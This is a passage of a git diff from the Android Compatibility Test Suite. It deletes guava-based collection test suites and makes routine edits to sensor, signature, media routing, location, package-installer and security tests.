distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - */ - -package libcore.java.util.suite; - -import junit.framework.Test; -import junit.framework.TestSuite; - -import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil; -import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest; - -public class ConcurrentSkipListMapNaturalSuite extends TestSuite { - public static Test suite() { - return new AndroidTestsForMapsInJavaUtil(MapsToTest.CONCURRENT_SKIP_LIST_MAP_NATURAL) - .allTests(); - } -} diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapWithComparatorSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapWithComparatorSuite.java deleted file mode 100644 index 878e7218336..00000000000 --- a/tests/libcore/javautilcollections/src/libcore/java/util/suite/ConcurrentSkipListMapWithComparatorSuite.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright (C) 2016 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - */ - -package libcore.java.util.suite; - -import junit.framework.Test; -import junit.framework.TestSuite; - -import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil; -import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest; - -public class ConcurrentSkipListMapWithComparatorSuite extends TestSuite { - public static Test suite() { - return new AndroidTestsForMapsInJavaUtil( - MapsToTest.CONCURRENT_SKIP_LIST_MAP_WITH_COMPARATOR).allTests(); - } - -} diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/OtherCollectionsSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/OtherCollectionsSuite.java deleted file mode 100644 index 6af45f4238b..00000000000 --- a/tests/libcore/javautilcollections/src/libcore/java/util/suite/OtherCollectionsSuite.java +++ /dev/null @@ -1,42 +0,0 @@ -/* - * Copyright (C) 2016 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - */ - -package libcore.java.util.suite; - -import junit.framework.Test; -import junit.framework.TestSuite; - -import libcore.java.util.tests.AndroidTestsForListsInJavaUtil; -import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil; -import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest; -import libcore.java.util.tests.AndroidTestsForQueuesInJavaUtil; -import libcore.java.util.tests.AndroidTestsForSetsInJavaUtil; - -/** - * A suite of all guava-testlib Collection tests not covered by the other suites in this - * package. - */ -public class OtherCollectionsSuite extends TestSuite { - public static Test suite() { - TestSuite result = new TestSuite(); - result.addTest(new AndroidTestsForListsInJavaUtil().allTests()); - result.addTest(new AndroidTestsForMapsInJavaUtil(MapsToTest.OTHER).allTests()); - result.addTest(new AndroidTestsForQueuesInJavaUtil().allTests()); - result.addTest(new AndroidTestsForSetsInJavaUtil().allTests()); - return result; - } -} diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapNaturalSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapNaturalSuite.java deleted file mode 100644 index 68a7624b090..00000000000 --- a/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapNaturalSuite.java +++ /dev/null @@ -1,30 +0,0 @@ -/* - * Copyright (C) 2016 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - */ - -package libcore.java.util.suite; - -import junit.framework.Test; -import junit.framework.TestSuite; - -import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil; -import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest; - -public class TreeMapNaturalSuite extends TestSuite { - public static Test suite() { - return new AndroidTestsForMapsInJavaUtil(MapsToTest.TREE_MAP_NATURAL).allTests(); - } -} diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapWithComparatorSuite.java b/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapWithComparatorSuite.java deleted file mode 100644 index 6e6fd6fb84e..00000000000 --- a/tests/libcore/javautilcollections/src/libcore/java/util/suite/TreeMapWithComparatorSuite.java +++ /dev/null @@ -1,30 +0,0 @@ -/* - * Copyright (C) 2016 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - */ - -package libcore.java.util.suite; - -import junit.framework.Test; -import junit.framework.TestSuite; - -import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil; -import libcore.java.util.tests.AndroidTestsForMapsInJavaUtil.MapsToTest; - -public class TreeMapWithComparatorSuite extends TestSuite { - public static Test suite() { - return new AndroidTestsForMapsInJavaUtil(MapsToTest.TREE_MAP_WITH_COMPARATOR).allTests(); - } -} diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForListsInJavaUtil.java b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForListsInJavaUtil.java deleted file mode 100644 index 8d9177c00f4..00000000000 --- a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForListsInJavaUtil.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright (C) 2016 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - */ - -package libcore.java.util.tests; - -import com.google.common.collect.testing.TestsForListsInJavaUtil; -import com.google.common.collect.testing.testers.CollectionToArrayTester; - -import junit.framework.Test; - -import java.lang.reflect.Method; -import java.util.Collection; -import java.util.Collections; - -/** - * Guava-testlib tests for {@code List} implementations from {@code java.util}. - */ -public class AndroidTestsForListsInJavaUtil extends TestsForListsInJavaUtil { - @Override - protected Collection<Method> suppressForArraysAsList() { - return Collections.singleton( - // http://b/30829421 - CollectionToArrayTester.getToArrayIsPlainObjectArrayMethod()); - } -} diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForMapsInJavaUtil.java b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForMapsInJavaUtil.java deleted file mode 100644 index 11f0afe2c35..00000000000 --- a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForMapsInJavaUtil.java +++ /dev/null @@ -1,99 +0,0 @@ -/* - * Copyright (C) 2016 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - */ - -package libcore.java.util.tests; - -import com.google.common.collect.testing.TestsForMapsInJavaUtil; -import com.google.common.collect.testing.testers.CollectionAddAllTester; -import com.google.common.collect.testing.testers.CollectionAddTester; - -import junit.framework.Test; -import junit.framework.TestSuite; - -import java.lang.reflect.Method; -import java.util.Arrays; -import java.util.Collection; -import java.util.Objects; - -/** - * Guava-testlib tests for {@link MapsToTest} that were specified as a - * constructor argument. - */ -public class AndroidTestsForMapsInJavaUtil extends TestsForMapsInJavaUtil { - public enum MapsToTest { - /** All Maps other than those below. */ - OTHER, - /** TreeMao with natural ordering. */ - TREE_MAP_NATURAL, - /** TreeMap with a Comparator. */ - TREE_MAP_WITH_COMPARATOR, - /** ConcurrentSKipListMap with natural ordering. */ - CONCURRENT_SKIP_LIST_MAP_NATURAL, - /** ConcurrentSKipListMap with a Comparator. */ - CONCURRENT_SKIP_LIST_MAP_WITH_COMPARATOR - } - - private final MapsToTest mapsToTest; - - public AndroidTestsForMapsInJavaUtil(MapsToTest mapsToTest) { - this.mapsToTest = Objects.requireNonNull(mapsToTest); - } - - /** - * Returns the tests for the {@link MapsToTest} from {@code java.util}. - */ - @Override - public final Test allTests() { - TestSuite suite = new TestSuite("java.util Maps: " + mapsToTest); - switch (mapsToTest) { - case OTHER: - suite.addTest(testsForCheckedMap()); - suite.addTest(testsForCheckedSortedMap()); - suite.addTest(testsForEmptyMap()); - suite.addTest(testsForSingletonMap()); - suite.addTest(testsForHashMap()); - suite.addTest(testsForLinkedHashMap()); - suite.addTest(testsForEnumMap()); - suite.addTest(testsForConcurrentHashMap()); - break; - case TREE_MAP_NATURAL: - suite.addTest(testsForTreeMapNatural()); - break; - case TREE_MAP_WITH_COMPARATOR: - suite.addTest(testsForTreeMapWithComparator()); - break; - case CONCURRENT_SKIP_LIST_MAP_NATURAL: - suite.addTest(testsForConcurrentSkipListMapNatural()); - break; - case CONCURRENT_SKIP_LIST_MAP_WITH_COMPARATOR: - suite.addTest(testsForConcurrentSkipListMapWithComparator()); - break; - default: - throw new IllegalArgumentException("Unknown part: " + mapsToTest); - } - return suite; - } - - @Override - protected final Collection<Method> suppressForConcurrentHashMap() { - // http://b/30853241 - return Arrays.asList( - CollectionAddAllTester.getAddAllUnsupportedNonePresentMethod(), - CollectionAddAllTester.getAddAllUnsupportedSomePresentMethod(), - CollectionAddTester.getAddUnsupportedNotPresentMethod()); - } -} diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForQueuesInJavaUtil.java b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForQueuesInJavaUtil.java deleted file mode 100644 index 52f0eb32707..00000000000 --- a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForQueuesInJavaUtil.java +++ /dev/null @@ -1,61 +0,0 @@ -/* - * Copyright (C) 2016 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - */ - -package libcore.java.util.tests; - -import com.google.common.collect.testing.MinimalCollection; -import com.google.common.collect.testing.QueueTestSuiteBuilder; -import com.google.common.collect.testing.TestStringQueueGenerator; -import com.google.common.collect.testing.TestsForListsInJavaUtil; -import com.google.common.collect.testing.TestsForQueuesInJavaUtil; -import com.google.common.collect.testing.features.CollectionFeature; -import com.google.common.collect.testing.features.CollectionSize; - -import java.util.LinkedList; -import java.util.Queue; -import junit.framework.Test; - -/** - * Guava-testlib tests for {@code Queue} implementations from {@code java.util}. - */ -public class AndroidTestsForQueuesInJavaUtil extends TestsForQueuesInJavaUtil { - - /** - * Override and copy the super class's implementation in order to change the name to ensure - * that created tests are unique and do not clash with those created by - * {@link TestsForListsInJavaUtil#testsForLinkedList()}, see bug 62438629. - */ - @Override - public Test testsForLinkedList() { - return QueueTestSuiteBuilder.using( - new TestStringQueueGenerator() { - @Override - public Queue<String> create(String[] elements) { - return new LinkedList<String>(MinimalCollection.of(elements)); - } - }) - .named("LinkedList as Queue") - .withFeatures( - CollectionFeature.GENERAL_PURPOSE, - CollectionFeature.ALLOWS_NULL_VALUES, - CollectionFeature.KNOWN_ORDER, - CollectionSize.ANY) - .skipCollectionTests() // already covered in TestsForListsInJavaUtil - .suppressing(suppressForLinkedList()) - .createTestSuite(); - } -} diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForSetsInJavaUtil.java b/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForSetsInJavaUtil.java deleted file mode 100644 index c4e41f40484..00000000000 --- a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForSetsInJavaUtil.java +++ /dev/null @@ -1,28 +0,0 @@ -/* - * Copyright (C) 2016 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - */ - -package libcore.java.util.tests; - -import com.google.common.collect.testing.TestsForSetsInJavaUtil; - -import junit.framework.Test; - -/** - * Guava-testlib tests for {@code Set} implementations from {@code java.util}. - */ -public class AndroidTestsForSetsInJavaUtil extends TestsForSetsInJavaUtil { -} diff --git a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java index 7988ef3b893..63cda8b6745 100644..100755 --- a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java +++ b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java @@ -22,7 +22,9 @@ import android.content.res.Configuration; import android.hardware.Sensor; import android.hardware.SensorDirectChannel; import android.hardware.SensorManager; +import android.os.Build; +import com.android.compatibility.common.util.PropertyUtil; import com.android.compatibility.common.util.CddTest; /** @@ -64,8 +66,10 @@ public class SensorSupportTest extends SensorTestCase { } @CddTest(requirement="7.9.2/C-1-19,C-1-20") - public void testSupportsAccelerometerUncalibrated() { - checkSupportsSensor(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED); + public void testSupportsAccelerometerUncalibrated() { + if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.O) { + checkSupportsSensor(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED); + } } @CddTest(requirement="7.9.2/C-1-19,C-1-20") diff --git a/tests/signature/src/android/signature/cts/AbstractApiChecker.java b/tests/signature/src/android/signature/cts/AbstractApiChecker.java index 3ea16e123a1..546b9214392 100644 --- a/tests/signature/src/android/signature/cts/AbstractApiChecker.java +++ b/tests/signature/src/android/signature/cts/AbstractApiChecker.java @@ -62,12 +62,14 @@ public abstract class AbstractApiChecker { .findRequiredClass(classDescription, classProvider); if (runtimeClass == null) { - // No class found, notify the observer according to the class type - resultObserver.notifyFailure(FailureType.missing(classDescription), - classDescription.getAbsoluteClassName(), - "Classloader is unable to find " + classDescription - .getAbsoluteClassName()); - + // No class found, notify the observer according to the class type, + // if missing a class isn't acceptable. + if (!allowMissingClass(classDescription)) { + resultObserver.notifyFailure(FailureType.missing(classDescription), + classDescription.getAbsoluteClassName(), + "Classloader is unable to find " + classDescription + .getAbsoluteClassName()); + } return null; } @@ -106,6 +108,17 @@ public abstract class AbstractApiChecker { /** + * Checks that a class that exists in the API xml file but that does not exist + * in the runtime is allowed or not. + * + * @param classDescription the class description that is missing. + * @return true if missing the class is acceptable. + */ + protected boolean allowMissingClass(JDiffClassDescription classDescription) { + return false; + } + + /** * Checks all fields in test class for compliance with the API xml. * * @param classDescription a description of a class in an API. diff --git a/tests/signature/src/android/signature/cts/AnnotationChecker.java b/tests/signature/src/android/signature/cts/AnnotationChecker.java index 9419df1ae94..ab111a4ade6 100644 --- a/tests/signature/src/android/signature/cts/AnnotationChecker.java +++ b/tests/signature/src/android/signature/cts/AnnotationChecker.java @@ -95,6 +95,17 @@ public class AnnotationChecker extends AbstractApiChecker { } @Override + protected boolean allowMissingClass(JDiffClassDescription classDescription) { + // A class that exist in the API document is not found in the runtime. + // This can happen for classes that are optional (e.g. classes for + // Android Auto). This, however, should not be considered as a test + // failure, because the purpose of this test is to ensure that every + // runtime classes found in the device have more annotations than + // the documented. + return true; + } + + @Override protected boolean checkClass(JDiffClassDescription classDescription, Class<?> runtimeClass) { // remove the class from the set if found annotatedClassesMap.remove(runtimeClass.getName()); diff --git a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java index a8320ff395b..5c43d4dd29a 100644 --- a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java +++ b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java @@ -57,7 +57,7 @@ public class BroadcastsTest { * receiver. */ @Test - @CddTest(requirement="3.5/C-0-6") + @CddTest(requirement="3.5/C-0-6,3.2.3.4/C-0-1") public void testNonSupportedBroadcastsNotDelivered_runtimeReceiver() throws Exception { // Need a reference here to initialize it in a lambda. @@ -85,7 +85,7 @@ public class BroadcastsTest { */ @AppModeFull(reason = "Instant apps don't get to run in the background.") @Test - @CddTest(requirement="3.5/C-0-6") + @CddTest(requirement="3.5/C-0-6,3.2.3.4/C-0-1") public void testNonSupportedBroadcastsNotDelivered_manifestReceiver() throws Exception { // Need a reference here to initialize it in a lambda. final AtomicReference<BroadcastReceiver> receiverRef = new AtomicReference<>(); diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java index 4aef998ccd7..91224061555 100644 --- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java +++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySavingTestBase.java @@ -15,6 +15,7 @@ */ package android.os.cts.batterysaving; +import static com.android.compatibility.common.util.BatteryUtils.enableBatterySaver; import static com.android.compatibility.common.util.BatteryUtils.runDumpsysBatteryReset; import static com.android.compatibility.common.util.BatteryUtils.turnOnScreen; import static com.android.compatibility.common.util.SystemUtil.runCommandAndPrintOnLogcat; @@ -69,6 +70,7 @@ public class BatterySavingTestBase { @Override protected void onAfter(Statement base, Description description) throws Throwable { + enableBatterySaver(false); runDumpsysBatteryReset(); turnOnScreen(true); } diff --git a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java index a21039e3487..29c533c9aa9 100644 --- a/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java +++ b/tests/tests/content/src/android/content/pm/cts/ApplicationInfoTest.java @@ -36,6 +36,8 @@ import android.content.cts.R; import android.content.pm.ApplicationInfo; import android.content.pm.PackageManager.NameNotFoundException; import android.os.Parcel; +import android.os.Process; +import android.os.UserHandle; import android.support.test.InstrumentationRegistry; import android.support.test.runner.AndroidJUnit4; import android.util.StringBuilderPrinter; @@ -153,14 +155,14 @@ public class ApplicationInfoTest { // The application "com.android.cts.stub" does not have any attributes set mApplicationInfo = getContext().getPackageManager().getApplicationInfo( SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME, 0); + int currentUserId = Process.myUserHandle().getIdentifier(); assertNull(mApplicationInfo.className); assertNull(mApplicationInfo.permission); assertEquals(SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME, mApplicationInfo.packageName); assertEquals(SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME, mApplicationInfo.processName); assertEquals(SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME, mApplicationInfo.taskAffinity); - assertTrue(FIRST_APPLICATION_UID <= mApplicationInfo.uid - && LAST_APPLICATION_UID >= mApplicationInfo.uid); + assertTrue(UserHandle.isApp(mApplicationInfo.uid)); assertEquals(0, mApplicationInfo.theme); assertEquals(0, mApplicationInfo.requiresSmallestWidthDp); assertEquals(0, mApplicationInfo.compatibleWidthLimitDp); @@ -169,11 +171,11 @@ public class ApplicationInfoTest { assertEquals(mApplicationInfo.sourceDir, mApplicationInfo.publicSourceDir); assertNull(mApplicationInfo.splitSourceDirs); assertArrayEquals(mApplicationInfo.splitSourceDirs, mApplicationInfo.splitPublicSourceDirs); - assertEquals("/data/user/0/" + SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME, + assertEquals("/data/user/" + currentUserId + "/" + SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME, mApplicationInfo.dataDir); - assertEquals("/data/user_de/0/" + SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME, + assertEquals("/data/user_de/" + currentUserId + "/" + SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME, mApplicationInfo.deviceProtectedDataDir); - assertEquals("/data/user/0/" + SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME, + assertEquals("/data/user/" + currentUserId + "/" + SYNC_ACCOUNT_ACCESS_STUB_PACKAGE_NAME, mApplicationInfo.credentialProtectedDataDir); assertNull(mApplicationInfo.sharedLibraryFiles); assertTrue(mApplicationInfo.enabled); diff --git a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java index 2ca0c2c10d2..222591b35df 100644 --- a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java +++ b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java @@ -388,17 +388,17 @@ public final class TestMeasurementUtil { softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " + "= CONSTELLATION_BEIDOU", timeInNs, - "1 <= X <= 36", + "1 <= X <= 63", svidValue, - svid >= 1 && svid <= 36); + svid >= 1 && svid <= 63); break; case GnssStatus.CONSTELLATION_GALILEO: softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " + "= CONSTELLATION_GALILEO", timeInNs, - "1 <= X <= 37", + "1 <= X <= 36", String.valueOf(svid), - svid >= 1 && svid <= 37); + svid >= 1 && svid <= 36); break; default: // Explicit fail if did not receive valid constellation type. diff --git a/tests/tests/media/src/android/media/cts/RoutingTest.java b/tests/tests/media/src/android/media/cts/RoutingTest.java index 69e3f5ca0e6..28d95640fda 100644 --- a/tests/tests/media/src/android/media/cts/RoutingTest.java +++ b/tests/tests/media/src/android/media/cts/RoutingTest.java @@ -668,8 +668,15 @@ public class RoutingTest extends AndroidTestCase { // The available output device is less than 2, we can't switch output device. return; } - for (int index = 0; index < deviceList.length; index++) { - assertTrue(mediaPlayer.setPreferredDevice(deviceList[index])); + Set<Integer> testedDeviceTypes = new HashSet<>(); + for (AudioDeviceInfo device : deviceList) { + final int deviceType = device.getType(); + if (testedDeviceTypes.contains(deviceType)) { + // b/122478352 setPreferredDevice can not differentiate devices with same type. + continue; + } + testedDeviceTypes.add(deviceType); + assertTrue(mediaPlayer.setPreferredDevice(device)); boolean routingChanged = false; for (int i = 0; i < MAX_WAITING_ROUTING_CHANGED_COUNT; i++) { // Create a new CountDownLatch in case it is triggered by previous routing change. @@ -682,12 +689,12 @@ public class RoutingTest extends AndroidTestCase { if (routedDevice == null) { continue; } - if (routedDevice.getId() == deviceList[index].getId()) { + if (routedDevice.getId() == device.getId()) { routingChanged = true; break; } } - assertTrue("Switching to device" + deviceList[index].getType() + " failed", + assertTrue("Switching to device " + device.getType() + " failed", routingChanged); } diff --git a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk index dd8e04228d1..820708ad7ea 100755 --- a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk +++ b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk @@ -29,7 +29,8 @@ LOCAL_SRC_FILES := $(call all-java-files-under, src) LOCAL_STATIC_JAVA_LIBRARIES := \ ub-uiautomator \ android-support-test \ - androidx.legacy_legacy-support-v4 + androidx.legacy_legacy-support-v4 \ + compatibility-device-util LOCAL_JAVA_LIBRARIES := android.test.base.stubs diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java index 17f97fe03f1..55d0c3acd1b 100644 --- a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java +++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java @@ -28,6 +28,8 @@ import android.os.UserHandle; import android.os.UserManager; import android.text.TextUtils; +import com.android.compatibility.common.util.CddTest; + import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; @@ -49,6 +51,7 @@ public class SessionCommitBroadcastTest extends BasePackageInstallTest { mThisAppLauncher = new ComponentName(mContext, LauncherActivity.class); } + @CddTest(requirement="3.2.3.4/C-0-1") public void testBroadcastNotReceivedForDifferentLauncher() throws Exception { if (!mHasFeature) { return; @@ -85,6 +88,7 @@ public class SessionCommitBroadcastTest extends BasePackageInstallTest { assertEquals(TEST_APP_PKG, info.getAppPackageName()); } + @CddTest(requirement="3.2.3.4/C-0-1") public void testBroadcastReceivedForNewInstall() throws Exception { if (!mHasFeature) { return; @@ -107,6 +111,7 @@ public class SessionCommitBroadcastTest extends BasePackageInstallTest { setLauncher(mDefaultLauncher.flattenToString()); } + @CddTest(requirement="3.2.3.4/C-0-1") public void testBroadcastReceivedForEnablingApp() throws Exception { if (!mHasFeature || !UserManager.supportsMultipleUsers()) { return; diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk Binary files differindex c85f8b79048..9f87b5a5318 100644 --- a/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk +++ b/tests/tests/secure_element/access_control/AccessControlApp1/apk/signed-CtsSecureElementAccessControlTestCases1.apk diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk Binary files differindex b8a978d58c3..25570257fb0 100644 --- a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk +++ b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk Binary files differindex b3c4054eb5a..20e4a4c749b 100644 --- a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk +++ b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk diff --git a/tests/tests/security/res/raw/bug_64710074.mp4 b/tests/tests/security/res/raw/bug_64710074.mp4 Binary files differdeleted file mode 100644 index 5544ffef9e2..00000000000 --- a/tests/tests/security/res/raw/bug_64710074.mp4 +++ /dev/null diff --git a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java index 2be37bbdbd5..1759521dfef 100644 --- a/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java +++ b/tests/tests/security/src/android/security/cts/IsolatedProcessTest.java @@ -27,6 +27,7 @@ import android.security.cts.IIsolatedService; import android.security.cts.IsolatedService; import android.test.AndroidTestCase; import android.util.Log; +import com.android.compatibility.common.util.CddTest; import com.android.internal.util.ArrayUtils; import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; @@ -74,7 +75,9 @@ public class IsolatedProcessTest extends AndroidTestCase { mLatch.await(BIND_SERVICE_TIMEOUT, TimeUnit.MILLISECONDS)); } + @SecurityTest + @CddTest(requirement="9.2/C-0-1") public void testGetCachedServicesFromIsolatedService() throws RemoteException { String[] cachedServices = mService.getCachedSystemServices(); for (String serviceName : cachedServices) { @@ -83,7 +86,9 @@ public class IsolatedProcessTest extends AndroidTestCase { } } + @SecurityTest + @CddTest(requirement="9.2/C-0-1") public void testGetServiceFromIsolatedService() throws RemoteException { for (String serviceName : RESTRICTED_SERVICES_TO_TEST) { IBinder service = mService.getSystemService(serviceName); diff --git a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java index 0e3c72b5ab3..d7fc915357f 100644..100755 --- a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java +++ b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java @@ -68,12 +68,14 @@ public class ListeningPortsTest extends AndroidTestCase { EXCEPTION_PATTERNS.add("127.0.0.1 10000"); // used by the cast receiver EXCEPTION_PATTERNS.add(":: 1002"); // used by remote control 